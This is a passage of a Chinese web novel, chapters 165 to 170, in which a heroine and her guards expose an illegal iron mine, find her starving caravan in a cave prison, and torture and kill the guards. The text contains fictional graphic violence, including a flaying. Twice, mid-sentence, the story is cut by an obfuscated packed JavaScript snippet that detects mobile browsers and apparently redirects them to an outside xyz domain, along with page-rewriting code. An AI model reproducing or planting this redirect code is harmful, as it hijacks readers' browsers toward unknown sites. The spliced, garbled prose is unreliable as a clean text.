她表情嫌弃,黄县令嘴角抽抽着,不知道是真被她说动了,还是想破口大骂。 叶晚竹这时候又踹了宁捕头一脚,语气变得微妙起来。 “不过呢,要不是有宁捕头这一出,我还真不知道,这小小的闵镇竟然如此藏龙卧虎。” 她上前一步,双眼直勾勾地看着黄县令。 “说吧,矿区,是怎么回事?” 黄县令呼吸一滞。 “什,什么矿区?”他的眼神变得游离起来。 “黄大人不会觉得这么大一座矿山的存在能被瞒住吧?” 叶晚竹抱起双臂,上下打量了黄大人一眼,看着他额头上慢慢冒出一层细细密密的汗珠。 “带我们去看看,要么,你现在就掉脑袋。” 她沉声说着话,一旁的隐川走上前来,面无表情地拔出长刀横在黄县令的脖子上。 身子一僵,黄县令哆嗦得更加厉害。 他看着叶晚竹的目光中出现了求饶的神情,“我……” “你闭嘴。”叶晚竹毫不客气地截断他的话,眼神冷厉,“还有,不要让我看见你试图搞什么小动作。” 隐川配合着又将刀刃往黄县令脖子上送了一寸,黄县令顿时连眼珠子都不会转了。 “走吧?”叶晚竹朝着屋外歪了歪头。 隐风将宁捕头也扛了起来,等到黄县令不情不愿地叫来马车,他们便出发了。 矿区所在的地方离镇子不算远,叶晚竹一行人抵达的时候正值傍晚。 夕阳西下,从外面看,这里就是一座普通得不能再普通的山。 马车却在离上山的小路不远处停了下来。 “去里面的路只能步行,就算是县衙的马车也不让进。” 黄县令被挟持了一路,说话显得有气无力的,一对肩膀也耷拉着。 “你们想进去,那就得听我的,只有我才能把你们带到矿山去。”他哆哆嗦嗦地说着话,似乎连自己也不相信。 叶晚竹掀开车帘朝外看去,石子路上空空荡荡,没有一个人影。 “都藏着呢,不想引人注意。”黄县令适时说明着,带上了一丝讨好的表情。 “别耍什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707647|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么花样。” 收回目光,又警告了黄县令一句,叶晚竹才带着几人下了车。 隐风隐川暂时收起凶神恶煞的表情,宁捕头也重新穿上了衣服,在越发变暗的天色掩护下,勉强还算得上是正常。 叶晚竹走在黄县令另一侧,三人牢牢将这两位守在当中。 “黄大人?” 一行人刚走到那上山的小路前,几个身穿官兵衣裳的人便不知道从什么地方钻了出来。 他们用狐疑的眼神一一将几人扫过,其中一人这才看着黄县令开了口。 “这个时候,大人来干什么,怎么还带了人?” 听着这人的语气,叶晚竹不由得挑了挑眉。 穿着衙门的公服,却对黄县令这个顶头上司说话如此不客气? 思绪飞速掠过,叶晚竹背在身后的手却攥着**抵在黄县令腰间。 黄县令微微哆嗦了一下,被夜色掩住,好在开口时倒是让人听不出什么端倪。 “这位是想和我们合作的客人,不得无礼,快放行!” 闻言,那两个官差倒是听话地退了下去。 松了口气,叶晚竹也没放下手上的**,目不斜视地从两人身边走过,沿着小路朝山中而去。 走了约莫两炷香的时间,叶晚竹才明白为什么脚下的路始终平坦,没有丝毫要向上攀升的意思。 绕过最后一道山壁,几人眼前豁然开朗,一个巨大的,天坑般的深谷静静地坐落在高耸的山壁中央。 墙上插着火把,越往深处便越是明亮。 叶晚竹低头去看,能看到不少赤裸着上半身的苦力在不断地挥舞着自己手中的工具。 他们正在采矿。 与叶晚竹等人平齐的地方,官差和黑衣人交错出现,手中都举着武器。 听到入口的声音,靠近这边的一组官差率先转头看来。 “黄大人?宁捕头?你们怎么来了?” 黄县令的腿肚子又开始不住地打着哆嗦,清嗓子的声音听上去无比虚弱。 “本官,本官……” “本官来送这几个狗贼上路!” 第一百六十五章 这里有人 忽然大吼一声,黄县令不顾叶晚竹的**狠狠刺穿了他的后腰,猛地一把将她朝前推去! 叶晚竹不得不收手好稳住身形,余光看到宁捕头扬手朝着隐风隐川撒出一把白色的粉末。 “上!”山中顿时响起了密密麻麻的脚步声。 “先走!”叶晚竹朝摆脱粉尘攻击的二**喊一声。 宁捕头手里的是不知道什么时候藏起来的**,好在隐风和隐川不受这类药物的影响,抖掉身上的余粉便护在叶晚竹左右。 三人头也不回地向来路狂奔,谁知脚下这时候传来震动,紧接着,就在他们眼前,一座看着就十分坚固的高大铁门从地下缓缓升起,将下山的道路完全封**。 竟然还有这样的机关! 看来,他们的准备还真是充分。 背靠铁门,回头看着一窝蜂涌上来的官差和黑衣人们,叶晚竹做了个深呼吸,不由得露出了冷笑。 “事已至此,可以说说你们到底是什么人了吧?” 被团团包围后,叶晚竹这才看见重新显露身形的黄县令。 黄县令这会儿还是一身狼狈模样,被叶晚竹刚才那一刀扎穿了腰间,他满手都是血,龇牙咧嘴地忍着痛。 “都到了这个时候,您还如此执着,真不愧是钦差大人,忧国忧民啊。” 频频倒吸着冷气,黄县令说话的声调都有些变了。 叶晚竹骤然轻笑一声。 “不会吧,黄大人,你真相信我的话了?圣上怎么会让我一个女人来当钦差呢?这也能骗到你?” 她语气夸张,表情生动,看得黄县令的脸色黑了又黑。 这话到底是真,还是假? “**!你果然是骗人的!”宁捕头闻言已经怒不可遏,拨开挡在前方的官差们就要冲上前来。 “慢着!”黄县令连忙出声,“拦住他!别给这些人机会!” 几个黑衣人一把将宁捕头死死按住,围在叶晚竹三人面前的官差们表情更加警惕了些。、 叶晚竹挑了挑眉。 可惜。 “没用的。” 做了好几个深呼吸,黄县令才让自己勉强冷静下来,不屑地看着叶晚竹。 “你不用再挑拨生事,无论如何,今天这个地方,你们进来了就别想出去!” “来人,把他们押到暗牢里去!” 这地方,还有暗牢? 倒是周全得很。 沉下眸子,叶晚竹任由官差们一拥而上,推推搡搡地带着三人往另外的方向而去。 —— 叶晚竹本以为既然叫做暗牢,那应该在这个大坑深处,谁知此地的暗牢却是在山顶上。 被一把推进深不见底的山洞,还没来得及适应眼前的黑暗,身后便传来了铁门重重合上的动静。 周遭越发伸手不见五指。 叶晚竹摸索着身边的石壁,这里的空间并不算大,感觉起来是个天然的石洞—— 刚沿着边缘走了几步,手心下忽然传来一阵绵软的触感! 好像是人! 条件反射地抽回手,叶晚竹的心狂跳了几下,呼吸也变得有些急促。 “小姐?”隐风和隐川的声音同时从两边传来。 “这洞里好像有人。” 平复着心跳,叶晚竹再次小心翼翼地伸手往刚才的地方探去。 这次有了心理准备,人体在她手下的感觉便越发明显。 软绵绵的,还带着微微的起伏,这人还活着。 但是皮肤冰凉,身体也有些僵硬,感觉不太好。 “这儿有火折子!” 隐风的声音这时候从另一个方向传来,紧接着暖光一闪,叶晚竹眼前终于重见光明。 她忍不住抬手先挡了挡,而后才发现自己看到了什么。 “夏铃?陈生?” 商队的所有人几乎都躺在这里! 这个山洞果然不算太大,七倒八歪躺在地上的商队成员们占据了绝大部分的空间。 所有人都是一副憔悴不堪,皮包骨头的模样,双眼紧闭,呼吸微弱,看上去十分不妙。 隐风抓起脚边一个伙计的手腕按了按,“是饿的。” 他们怎么会被关在这里? 多长时间了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707648|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小,小姐……” 这个时候,角落里传来一声微弱的呼唤。 叶晚竹双眼一亮,连忙快步走了过去,搬开两个昏迷不醒的伙计,将那个出声的小姑娘抱了出来。 虽然清醒着,但她也已经虚弱不堪,仿佛一把骨头随时都能折断似的。 “小纯?” 叶晚竹勉强从这张脸上找到了一点熟悉的痕迹。 小纯原本是跟着曼娘一起在宝琅斋干活的,她从小就力气大,在铺子里一个人能搬两个伙计才能抬动的东西。 可当初,柳汝兰接手宝琅斋后,金婶子只看小纯饭量大,嫌弃她花销多就把人赶了出去,直到叶晚竹收回铺子,又转到蕴秀阁的时候才把小纯重新找了回来。 但是即便在那个时候,小纯也只是清减了一圈,很快又圆润如初了。 叶晚竹实在是想象不到,什么样的遭遇能把小纯变成现在这副仿佛一碰就碎的模样。 “小姐……” 小纯努力睁着双眼,一双手用尽全力攥着叶晚竹的袖子。 “这里有问题!南郡,南郡有很大的问题!” “你们都知道了什么?”叶晚竹压低了声音问道,“和闵镇有关?” 小纯的眼神中带着茫然。 闵镇是什么? 没力气多问,她赶着用所剩无几的神智继续开口。 “我们刚一进到南郡就被人盯上了,那些镖师带着我们到处绕了三四天,正准备翻过最后一道山岭,开荒下到另一条路上,却忽然出了事……” 甩脱尾巴的事情也算是谢逸等人的老本行,他们发掘出一条从来没人走过的路线,借以带着商队换道而行。 那条路不太好走,一路都需要清扫障碍,最后还要用**爆破出一个出口来。 一切本都非常顺利,路被打通之后,商队先行通过,谢逸他们大部分留下殿后,只有四个人跟着商队在前面开路。 “……我们刚刚过去,忽然地动山摇,刚炸出来的路口就这么堵上了。”小纯打了个哆嗦,“然后,然后我们闻到一阵药味晕了过去,再醒来就在这个地方了!” 第一百六十六章 有没有钦差,我不清楚? “这期间有没有人来找过你们?” 算了算这个时间,距离现在少说也有一个月了,叶晚竹继续发问。 小纯费力地摇了摇头。 “从来没有,我们一直被关在这个地方,不知道被下了什么药,全身无力,连起来求死都做不到,只能眼睁睁地被饿着……小姐,我想吃饭,有肉最好了……” 她喃喃低语,仿佛已经彻底耗光了力气,声音渐渐听不见了。 叶晚竹皱着眉头,这种情况下无论如何也笑不出来了。 “其他人的情况怎么样?” 被说话耗去了太多力气,小纯很快又闭上了双眼,叶晚竹把她轻轻放到一旁,转头看向隐风隐川。 方才这二人打着火折子,将山洞里的情况仔仔细细地看了一圈,这会儿直起身子,也是表情沉重。 “都不太好,”隐风压低声音,“没有食物,还中了毒,不知道还能坚持多久。” “这里面也没有主子的人。”隐川跟着补充道。 按照小纯所说,应该有四个暗卫和他们一起遇袭,现在却不见踪影。 是被分开另外关押,还是已经死了? 看看地上众人的惨状,隐川忍不住攥了攥拳头。 叶晚竹站起身,就着火折子最后一点微弱的光芒思考起来。 这火折子还是商队成员的,被药物控制着动弹不得,连点火的力气都没有。 “什么药能让人浑身无力长达一个月的时间?”她忽然抬起头来,“有这种东西吗?” 隐风隐川闻言一顿。 “很难,除非定时补充药量。” 隐风下意识地开了口,而后露出一点恍然大悟的表情。 “小姐,您是说……” “肯定有人趁他们昏迷的时候进来放过迷烟。” 叶晚竹一边说着话,一边调转目光在山洞里四处查看。 地上干干净净,没有投放过烟雾弹的痕迹,而这山洞是天然形成,三面与山壁融为一体,只有那扇门能通往外面。 那些人要往山洞里放迷烟,无论如何都要打开这扇门才行。 想到这儿,叶晚竹倒是稍微放下了心。 只要这门还有打开的机会就行。 况且—— “还有咱们三个,他们打算怎么处理?” —— 与此同时,矿山半山腰的一间小屋中,黄县令正在大发脾气。 “废物!你们都是一群废物!竟然能被三个人制服!” 黄县令后腰上的伤被简单包扎了一遍,还在不断地渗着血,他的脸色也变得比刚才更加灰败。 但这并不能阻拦他一脚踹在宁捕头腿上。 “她说她是钦差你就相信,她让你到县衙找人,你就跟着她找?你怎么那么听话呢!” 方才太过惊险,直到把叶晚竹三人抓走,黄县令才有功夫问问究竟都发生了什么。 这一问,差点儿把他气死! “你就这么把我卖了,连个招呼都不打?要不是这边有万全的因对之策,真的暴露出去,咱们谁也别想活!” 宁捕头也是一身的伤,被这一脚踹得一屁股坐倒在地,咬牙忍着情绪不说话,憋得浑身都在哆嗦。 黄县令却不肯放过他,“这人到底怎么回事,从哪儿来的?” “从,从今天靠岸的船上。” 深吸一口气,宁捕头还是得开口,他忍不住抬起头,“大人,那船就是从京城来的,那三个人又身手不凡——” “你给我闭嘴吧!” 黄县令又是一脚踹了过去,心烦意乱地扯了扯衣领,“有没有钦差暗访,我还能不知道吗?要你多此一举!” 这话是什么意思? 宁捕头眼神一滞。 衙门里的消息有什么是他不知道的? 黄县令的脸色极其微妙地变了变,下一刻抄起桌上的茶碗丢了出去。 “滚!赶紧给我滚出去!看见你这个废物就烦!” 宁捕头躲开兜头而来的茶水,忙不迭地小跑着往外走。 “回去之后,收敛一点!”黄县令的声音又从他身后响起,“避避风头!” “是!” 看着宁捕头关门离开,黄县令长长地吐出一口气,抬手按了按胀痛的太阳穴。 现在这可如何是好? “黄大人。” 宁捕头刚走,房门便被再度敲响,这次是一个黑衣人走了进来。 “怎么样,查到了没有?”一见这黑衣人,黄县令连忙又打起了精神。 黑衣人反手仔细地关上房门,这才走到黄县令身边摇了摇头。 “船已经开走了,查不到这三个人究竟是什么身份。” 黄县令闻言,表情立刻变得更加难看。 “这就给京城发消息,”他攥起拳头,不轻不重地捶了一下桌子,“这三个人都是京城口音,保不齐真是知道了什么,得让主子那边早点知道才行。” 黑衣人不置可否,点头应下,又道,“那宁捕头呢?” “他又怎么了?”听见这个名字,黄县令嫌弃地抬眼看来。 “大人刚才说漏嘴了。” 黑衣人面无表情,居高临下地看着坐在椅子上的黄县令,一字一句地道,“宁捕头可能会猜出什么,为保安全,最好解决了他。” 黄县令抿起了嘴,这毕竟是他的小舅子…… “大人若是不忍心,我等可以替您动手。”那黑衣人似乎一眼就看穿了黄县令的心事,“再找个合适的理由,安抚夫人。” 这副漠不关心的口吻又让黄县令打了个冷战。 “还,还是先等等吧!他要是真的做出什么影响计划的事情,我亲自动手收拾了他!” 紧张地攥住了圈椅的扶手,黄县令生怕下一刻这些黑衣人就会冲出去杀人灭口。 “那,那三个人现在怎么样了?”他又胡乱动着脑子,换了个话题问道。 黑衣人看破不说破,顺着回答,“被关在那个暗牢,大人打算如何处置?” 那个暗牢? 听黑衣人语气微妙,黄县令这才回过神,想起那暗牢现在是在做什么用。 他又连忙看向桌上的刻漏,见还没错过时辰,这才松了口气。 “那药还有没有多余的?” 黄县令转头看向黑衣人,眼底闪过一抹思索。 “给他们都用上,等京城那边的消息传过来再说!” 第一百六十七章 突袭! 月上中天,几个黑衣人无声无息地出现在山洞之外。 “人呢?” 四周空空荡荡,应该在此守门的官差不见踪影,黑衣人环顾四周,忍不住皱起了眉头。 这些闵镇的官差实在是不得用,除了偷奸耍滑,就是好吃懒做。 让他们看个门都办不好! 要不是矿山就在这个地方,走也走不了,这个黑衣人是真的不想和这帮尸位素餐的废物一起合作。 无声地叹了口气,黑衣人还得摆手让自己的手下过去。 那个黑衣人耳朵贴着铁门听了半晌,回头朝这边打了个手势。 没有动静。 进去。 领头的黑衣人回了个手势,听着手下开门的声音,一边转过头去。 “查查今天晚上该守门的是谁?绑了送到黄县令面前去。” 他倒是要看看,出了这么大的纰漏,黄县令这回还怎么好意思张口保他的小舅子—— “呃!” 闷哼伴着骨骼碎裂的清脆响声瞬间打断了黑衣人的所有思绪! 他猛地转头,反手从腰后抽出短匕,可眼前黑影一闪,已经被对方抢先攻到身前! “喀嚓”一声,隐风扭断了这个黑衣人的手腕,单手拎起他疼得抽搐的身子朝剩余几个黑衣人横扫过去! “唔!” 黑衣人们被大力扫出几步开外,踉跄摔倒在地,又立刻起身要跑。 “不好了,有人——” 示警的话还没说完,隐川不知道从什么地方鬼魅般出现,将一把匕首挥得大开大合,顷刻间便结束了几人的性命。 还没来得及起身的黑衣人们也被隐风一一解决,鲜血的味道被风吹散。 领头的黑衣人断了一条手臂,狠狠咬着牙从地上爬起来,用左手陌生地攥住被踢飞的短匕。 “诶?想杀人?” 一只脚从侧方伸出,不紧不慢地踩在他手背上。 叶晚竹笑吟吟地弯下身子,半张脸上溅着鲜血,配上她的笑容,说不出的妖诡。 黑衣人的目光忍不住落在她身后的山洞门前,刚才去开门的那个手下一身是血地趴在地上,右手被短刀死死钉在地面。 “你,你是什么人?”他眉头紧皱着收回目光。 能赢下宁捕头那些人,在这个黑衣人看来没什么稀奇的,闵镇的衙门里就是一帮废物。 可连他的手下,这三个人都杀得如此利落…… 黑衣人的表情变得更加难看。 事情好像有些不对劲了。 “这个问题,我看还是你先回答吧?” 依旧面带笑容,叶晚竹保持着脚踩黑衣人的动作,弯腰将那把短匕捡了起 来,放在手里把玩着。 “敢私自开采铁矿,你们是何方神圣,又准备了几个脑袋等着掉啊?” 黑衣人眸光一闪,“你们是为了铁矿而来?” 他话音落下,下一刻便被刀尖洞穿手背的疼痛激得猛地倒抽了一口冷气! 叶晚竹连眼都不眨,手起刀落,看着这黑衣人因为忍痛而浑身哆嗦的模样,笑容越发灿烂。 “别提问,回答我的问题。”她说。 那黑衣人咬紧牙关,嘴角都跟着溢出了血迹。 这个时候,隐风和隐川解决了附近所有的黑衣人,朝着这边走了过来。 将这个黑衣人交给两人看管,叶晚竹回身将被钉在山洞门前的那一个黑衣人也带了过来。 “你的上级不说,你说不说?”叶晚竹拍了拍这个手下的肩膀。 黑衣人手下这会儿疼得眼前发黑,耳边一片轰鸣。 方才他刚打开门便中了招,还没等反应过来便被扎穿了手背,现在匕首又被狠狠地拔出,这一来一回,着实让他难以忍受。 “有本事,你就杀了我们啊!” 那领头的黑衣人叫嚣着,一双眼睛恶狠狠地盯着叶晚竹,“杀了我们,你们也别想逃出去!” 他神情疯狂,透着背水一战的癫狂。 叶晚竹却并未把目光继续放在他身上,而是从那个手下怀里摸出了几个迷烟模样的东西。 “这就是能让山洞里的人睡了这么长时间的东西吧,是什么?” 举起那几个迷烟,叶晚竹问话的语气十分平静。 黑衣人却瞪大了双眼,又艰难地找回了一丝理智。 她竟然还知道山洞里的人中了药? 这些人,究竟是什么来头? “啊——” 还没等思绪落定,又一阵剧痛从右手传来,这回黑衣人再也控制不住地哀嚎出声。 隐川用自己的匕首再次扎穿了他的另一只手,鲜血飞溅,哀嚎声响,一切都让那个手下哆嗦得更加厉害。 就在这时,他肩头再次一重。 “看清楚了没有?” 叶晚竹揽着这个手下的肩膀,语气好像在闲聊一般。 可她说出口的话却让此人不寒而栗,脸色惨白。 “一会儿就轮到你,你可以仔细看看,省得太痛苦。” 仔细看看,就能不用痛苦了吗? 手下哆嗦得连坐在地上都坐不稳了,身子一斜要倒下,却被叶晚竹死死捏着肩膀,动弹不得。 “隐风,”叶晚竹这时候才看向那边,“不听话交代,就剥了他的皮。” 剥皮这件事,对东厂的人来说无疑是轻车熟路。 隐风下手精准又狠绝,卡着那黑衣人昏迷过去的节点,每一刀都能让他重新清醒过来。 嘴里被衣裳塞得满满的,黑衣人想惨叫却发不出一点声音,翻着白眼,渐渐失去了所有的知觉。 眼见着方才还活生生的人在自己面前皮肉分离,那个手下抖若筛糠,看上去马上也要晕倒了。 叶晚竹却一把扯住了他的头发,迫使此人睁开双眼。 “好好看着,”她的语气里没有一丝情绪,“这就是你们应得的下场,下一个就轮到你。” “我,我什么都说!” 血腥味越发铺天盖地地袭来,那手下终于崩溃,眼泪横流,甚至壮着胆子用自己完好的那只手去扯叶晚竹的衣袖。 “我该死,我该死,求你们给我一个痛快吧!你们想知道什么都可以!” 他真的不想被活生生地剥皮! “真的吗?” 叶晚竹眼波流转,看着此人忙不迭点头的动作,又笑了笑。 “那你告诉我……采矿用的炸药,放在哪里?” 第一百六十八章 制造点响动 这个女人要炸药,是想干什么? 那手下滴溜溜地转着眼睛,里面渐渐出现了几许变幻着的猜忌情绪。 下一刻,叶晚竹空着的那只手攥住他受伤的手背,狠狠按住了那个大洞! “嗷!”手下猛地一声痛呼,却还不敢耽搁,硬生生掰开自己抽搐着的两片嘴唇,吐出几个字。 “仓,仓库……” “谢谢。” 一刀割喉,看着这手下震惊又一脸不甘地咽了气,叶晚竹一脚将他和那皮剥了一半的黑衣人踢到一起去了。 那为首的黑衣人大概功夫不错,遭遇如此酷刑,竟还能维持清醒。 但也只是岌岌可危的最后一点了,连身边来了个死人都没发现。 “你,你……”他双眼无神地看着叶晚竹,嘴唇翕张,不知道还想说些什么。 叶晚竹上下扫他一眼,忽然凑近了些。 “让我猜猜,你们应该是……孟希越的手下,对不对?” 黑衣人已经开始扩散的瞳孔忽然一震,呼吸也跟着乱了节奏。 叶晚竹的心头也晃了晃。 她猜对了。 但这却并不能让她高兴起来。 “主子不会放过你的,”这时候那黑衣人开了口,“你死定了。” 叶晚竹忍不住笑了两声。 “怎么,我死了,你就能重新活过来吗?” 还没等那黑衣人有所反应,叶晚竹手中匕首一进一出,痛快地又结束了他的性命。 周遭一片寂静,她站直身子,长长地吐出一口气。 不是安王,是孟希越。 看来,安王别院的那两个下人说的话或许是真的。 孟希越在南郡,还有南疆都策划了什么样的阴谋? 官贼勾结,暗中开采铁矿,还有什么? 这些人又为什么要绑架她的商队? 看来,这件事要快些告诉谢无咎才行,否则时间一长,谜题太多,他们便会陷入被动。 “小姐,现在怎么办?”隐风抬头看看天空,“应该快到他们换岗的时间了。” 收起思绪,叶晚竹转头看了看山洞里。 一片寂静,就连方才还能呓语的小纯现在也坚持不住晕了过去。 就算没有这些黑衣人的药,商队众人的身体也已经支撑不住了,不可能跟着他们逃走。 而叶晚竹原本也没有打算这么做。 “隐风留下守门,有人上来就全部解决。” “隐川,你跟我一起,去仓库拿火药回来!” 闵镇这么一点儿大的地方,竟然能藏住这么大的一座铁矿,孟希越可谓是用心良苦,一定费了不少功夫。 可要是出点什么事,闹点什么响动。 还能瞒住吗? —— 方才那手下口中的仓库在矿坑的中部,靠着石壁搭建出了一块不小的平台,上面修了几间各有用处的屋子。 外部用石头砌了一道高高的墙,只留下一个不大不小的入口,被层层看守着。 整个院子都悬空在矿坑半山腰,眼前的入口是唯一的通路。 而叶晚竹从山顶暗牢一路走来,这里的戒备也是最森严的。 从三十步开外的地方便放着火堆,将一条路映照得如同白昼,任何人影都无可遁形。 “小姐,怎么办?”隐川看着守在院外,层层叠叠的黑衣人和官差,压低声音看向叶晚竹。 从山顶到这里,两人也遇到了不少突发情况,都能被叶晚竹很好地解决。 虽然知道叶晚竹曾经和景平王一道出征西北,并肩作战,但隐川现在才发现,他好像还是低估了这位景平王妃的本事。 作战,潜行,就连杀人的动作都干脆利落。 他不由得又想起了被派到王妃身边之前,从九千岁那里看到的有关这位的记录。 孤身一人入雪山传递消息,失踪一月有余,最后却平安归来。 “这条路走不通的。” 不知道隐川刚刚走了一会儿神,叶晚竹已经收回目光,冷静地下了判断。 这里的守卫虽然看似是黑衣人和官差两部分组成,但看他们的步伐分明都是那些功夫更好的黑衣人。 他们假扮成官差在此巡逻,或许就是为了迷惑旁人,制造假象,好让他们自投罗网。 叶晚竹抬头看向上方的天空。 这矿坑挖得又大又深,崖壁上修了数条通路,他们眼下便站在其中一条的路口。 从这里再往上走,蜿蜒曲折的小路能通到峭壁上方原本的山路。 若是能从那里降到平台上,或许还有一线可能。 把自己的想法和隐川一说,二人便达成共识,一道又朝上山的方向而去。 就在这时,一声尖厉的哨声猛地从山顶暗牢的方向传来! 怎么回事? 叶晚竹和隐川同时转头看去,与此同时,各处也纷纷响起了脚步声,似乎是有大批人马正在往那边赶。 “哟,长哨,是有人袭击啊?” 叶晚竹刚要动身往回赶,却被这边的守卫们幸灾乐祸的语气止住了动作。 “刚抓了一批,怎么又有人袭击?还是暗牢那个方向,不会有什么问题吧?”又一个守卫凑了上去,听着有些担心。 先前说话那人嗤笑一声。 “能有什么问题?这是闵镇那边弄出来的信号,自上而下的一帮废物,能翻出什么花来?” “就是,”第三个守卫的声音透着沙哑,“只要咱们头儿不发话,那就闹不出什么乱子来,再说,怎么着也跟咱们没关系!” “行了,好好守着吧,等明天就知道这帮蠢蛋又干什么了。” 黑衣人们态度各异,语气却都是不屑的,三言两语便将山顶暗牢的情况抛之脑后,又回到了各自的位置上。 叶晚竹却皱起眉头,思索片刻后朝隐川打了个手势。 “你回山顶去看看,这里,我来想办法!” 不管上面究竟出了什么事,都不失为一个机会。 她不能放弃。 “走的时候,弄出点声音来。”她又挑了挑眉。 这个时候,山顶暗牢之外,隐风一把扭断了一个冲上来的官差的脖子,面带杀气地看着更多人从后面涌了上来。 宁捕头面色青白,浑然不似人样,踉踉跄跄地往后退着,被人扶住才回过神来。 “快,快把他拿下!有人逃狱了!” 第一百六十九章 灵机一动宁捕头 宁捕头是在回家的路上越想越生气的。 三个狗贼把他和他手下的人全都打了一遍,还威胁他姐夫,如此居心不良地来打探这个矿山的情况,现在居然被关起来就算了? 那他挨的打算什么? 还是两顿! 宁捕头从前其实是看不上黄县令这个姐夫的,宁家虽然不是大富大贵,但在是闵镇这个小地方也过得挺滋润。 这黄县令却是要啥没啥,做官出不了名堂,被一路从大城大镇贬到他们这个地方来。 若不是宁家看上了黄县令的官身,也想给自己找个靠山,这门亲事是无论如何也不会落到他身上的。 两家成婚也已经有几年的时间了,黄县令依旧看不出半点要升迁的迹象,可黄家却越来越有钱了。 身为黄夫人唯一的亲弟弟,姐姐的日子过得好不好,他很快便能发觉。 宁捕头去黄家追问,可二人都讳莫如深,到了最后大概是被问得烦了,黄县令便邀请了小舅子来衙门当捕头。 他也这才知道了黄县令在干什么,两人之间的关系也才开始变得好起来。 可就是因为这三个王八蛋,姐夫竟然对他又骂又打,还让他滚! 越想越忍不下这口气,宁捕头已经到了镇中,却又调转马头重新杀回了矿山。 私自采矿? 中饱私囊? 那又怎么了? 闵镇离京城实在是太远,宁捕头压根无所谓。 反正这儿是他姐夫的地盘,他就去把那三个贱人打一顿又能怎么样? 大不了,京城要是真的有人问责,他提前跑不就行了? 况且宁捕头根本不觉得自己会被问责。 那钦差都是假的呢,假冒钦差,这个罪名怎么想都更严重吧? 宁捕头从来就不是一个冷静的人,凭着一腔情绪一路冲到山顶暗牢,然后就愣住了。 这一地的血,还有死人,都是什么情况? 他上山的时候多少还思考了一下,抄了条甚少有人知道的小路,就这么和听到声音回头看来的隐风四目相对上了。 “你怎么——” 只说了三个字,隐风便鬼魅便朝他冲来! 宁捕头脚下一滑就从山崖边一头栽进了树丛,被藤条挂住衣裳才捡回了一条命。 他做的第一件事就是掏出哨子,没命地吹了起来! 不得了,不得了了! 要坏事了! 幸亏他一直带着这个哨子! 谁知道,那个一脸杀气,一看就非常不好惹的侍卫竟然几乎立刻就出现在他眼前! 宁捕头想不起来自己是怎么被抓回暗牢门前的了,好在几个首先冲上来的官差替他挡了一下。 可他又没想到,这么多人,也不够这个家伙杀的! “快,快上啊!耗死他!” 看着眼前一个一个冲上去,又一个一个被放倒的官差,宁捕头的双腿哆嗦得好像两根煮过头了的面条。 他大声喊着,可身后的官差们却渐渐停下了脚步。 这暗牢之所以会修建在此处,就是看中了这个山洞的易守难攻。 通向山洞的这条路两头宽,中间窄,最多只能让两个人并排行走。 本是为了防止暗牢里的人逃跑,没想到现在却把自己人堵住了。 两个两个地上去显然是送死,看着地上顷刻间又多出来的几具无头尸体,一个官差小心翼翼地朝着宁捕头看去。 “老大,咱们还是叫人来吧!” 黄县令不是有那些厉害的兄弟们吗? 让他们上来打吧。 这个人,他们应付不了啊! “废物!” 宁捕头呼哧呼哧地喘着粗气,却也不得不承认他们的确不是对手。 不过,只要他们把下山的通道堵死,这个妖怪一样的人也出不来! 双眼满是阴狠,宁捕头一边发号施令,一边伸手去摸哨子—— 怎么没了? 坏了,刚才被抓住的时候,已经让这妖怪一把捏碎了! 宁捕头咬着牙倒吸了一口冷气,抬头便要朝不远处的矿坑大喊。 姐夫还能认不出他这个小舅子的声音吗? 可还没等他张口,一阵惊呼从后方响起,紧接着,宁捕头感到有什么温热的东西冲到了自己的脸上。 他先下意识地抬手摸了一把,而后才感到一阵淡淡的腥味散发出来。 是血。 “后面也有埋伏!” “火把,快拿火把!” “他,他过来了!” —— 另一边。 听着叶晚竹的话,隐川立刻明白过来,却难得有些犹豫。 就算他亮出身形,也必不可能把这里的所有黑衣人都吸引走,而留下王妃一个人应对,让他十分不放心。 叶晚竹却很坚定。 “机会不多,动作要快!否则暗牢那边怕是压力太大。” 那么多官差上去,只要有一点漏洞,事情就不好说了。 迟疑片刻,隐川还是点点头,随即便放慢速度,从通向仓库的那个路口前一闪而过。 “什么人?” 黑衣人们果然立刻就发现了他的踪迹,而隐川却并未深入,而是脚下一转便朝着深林中跑了过去。 他动作鲁莽,脚下稀里哗啦地踩断了无数枯枝落叶。 黑衣人们一听就知道这人的功夫不怎么样,几人比了个手势,只派出两人跟着追了过去。 片刻后,两声短促的惨叫从林子里响起,几乎是立刻就消失了。 声音回荡在夜空中,黑衣人们的表情变得严肃了不少。 “再去看看,小心点。” 方才制止他们讨论的那个黑衣人再次低声发号施令,又安排出了三队人手,左中右朝着林中慢慢包抄而去。 这一下,还守在仓库前的黑衣人便只剩下一小半了。 而余下的人也继续听着那个小头领的话,左顾右盼,变得越发警惕起来。 就在这时,两道黑影毫无征兆地出现在一众黑衣人眼前! “不好——啊!” 黑影举刀就杀,丝毫没有半点拖泥带水的模样,黑衣人们也用最快的速度反应过来,跟两人缠斗在一起! 叶晚竹先是瞪大双眼,而后便立刻行动起来。 这又是什么人? 不过来得正好! 正愁留下的人,她太多不好应对呢! 看准了双方打得你死我活的机会,叶晚竹猫着腰悄悄朝那扇渐渐看守不住了的门冲了过去。 第一百七十章 炸! 仓库门前这时候已经打成了一窝蜂,不知不觉中,似乎又有几个黑影加入了进来。 